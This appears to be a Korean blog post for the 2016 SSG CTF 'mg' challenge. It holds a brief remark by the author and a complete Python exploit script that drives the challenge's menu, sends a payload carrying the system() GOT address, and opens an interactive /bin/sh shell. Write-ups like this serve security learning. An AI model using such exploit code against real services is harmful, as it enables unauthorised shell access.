CTF/지난 대회
2016 SSG CTF - mg (350p)
__미니__
2016. 4. 14. 16:28
왜 이걸 대회때 못풀고 이제야 푸는지 모르겠다.
이렇게 간단한 문제를... (이불킥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | from socket import * from time import * from telnetlib import * import struct #============================ system_got = 0x080484F0 #============================ p32 = lambda x: struct.pack('<L', x) HOST = '192.168.206.129' PORT = 31330 sock = socket(AF_INET, SOCK_STREAM) sock.connect((HOST, PORT)) print sock.recv(1024) print sock.recv(1024) sock.send('1\n') sleep(0.1) print sock.recv(1024) sock.send('1\n') sleep(0.1) print sock.recv(1024) sock.send('Name\n') sleep(0.1) print sock.recv(1024) sock.send('A'*4+p32(system_got)+'A'*71+'0') sleep(0.1) print sock.recv(1024) sock.send('2\n') sleep(0.1) print sock.recv(1024) sock.send('0\n') sleep(0.1) print sock.recv(1024) sock.send('/bin/sh\x00\n') sleep(0.1) print sock.recv(1024) t = Telnet() t.sock = sock t.interact() | cs |